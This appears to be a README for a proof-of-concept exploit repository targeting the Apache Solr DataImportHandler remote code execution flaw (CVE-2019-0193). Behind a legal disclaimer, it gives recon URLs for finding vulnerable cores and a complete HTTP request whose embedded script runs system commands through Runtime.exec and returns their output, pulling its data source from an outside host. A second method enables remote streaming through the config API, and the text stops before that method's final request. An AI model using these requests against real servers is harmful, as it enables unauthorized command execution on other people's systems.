solr_exploit

Disclaimer

The vulnerability detection methods, files, and other content provided here are strictly for use by security professionals who have obtained legal authorization, with the purpose of detecting the security of authorized servers. Security professionals must comply with legal regulations and are prohibited from performing any vulnerability testing without authorization.

Introduction

Vulnerability Analysis - Apache Solr Remote Code Execution Vulnerability (CVE-2019-0193) - Xianzhi Community

In theory, various types of data sources can be used to construct an exploit.

Exploit1 uses the data source type URLDataSource

Exploit2 uses the data source type ContentStreamDataSource

Vulnerability Detection - Exploit1

Exploit1 uses the data source type URLDataSource

Advantages: Result echo, supports detection on older Solr versions

Disadvantages: Requires outbound network access

Step 1

Construct a data source of type URLDataSource (the Solr server will access this data source!). You can directly use this:

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

The file demo.xml is a data source of type URLDataSource, a harmless normal XML document.

The document contains only one item element to ensure the command is executed only once.

Alternatively, you can start a web server to host the demo.xml file with the command live-server --port=5555 and obtain the address http://127.0.0.1:5555/demo.xml.

Step 2

Obtain the names of all cores in Solr

http://{xx.com:80}/solr/admin/cores

HTTP response is JSON data containing the names of all cores.

"name":"xxxx"

Step 3

Check if the core uses the DataImportHandler module

Method 1

Access
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

If the DataImportHandler module is used, the HTTP response will contain:
org.apache.solr.handler.dataimport.DataImportHandler

Otherwise, it indicates that the DataImportHandler module is not used (not affected by this vulnerability).

Method 2

Access
http://{xx.com:80}/solr/#/{core_name}/dataimport

If this Solr server does not use the dataimport-handler module (not affected), the HTTP response will contain a prompt:
sorry, no dataimport-handler defined!

Otherwise, it indicates that the DataImportHandler module is used (affected by this vulnerability).

Step 4 Construct HTTP Request

Execute command. The HTTP response will contain the execution result echo, supporting multi-line results (I wrote each line ending with \n\r).

Note: Replace the string "tika" in the following request URL with the name of the core.

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Vulnerability Detection - Exploit2

Exploit2 uses the data source type ContentStreamDataSource

Advantages: Result echo, no outbound network required

Disadvantages: Cannot detect on lower versions - because modifying the configuration in configoverlay.json via POST request will fail.

Steps 1-3

Step 1 omitted

Steps 2-3 same as above

Step 4

This step is to modify the configuration in configoverlay.json to enable related options for remote streaming: .enableStreamBody and .enableRemoteStreaming.

Replace tika with the core name.

POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Response 200 means success (tested on version 8.1, it works)

Response 500 means failure (tested, some lower versions fail)

Step 5

Send request to execute system command ifconfig and receive the echo (no external connections, no outbound network).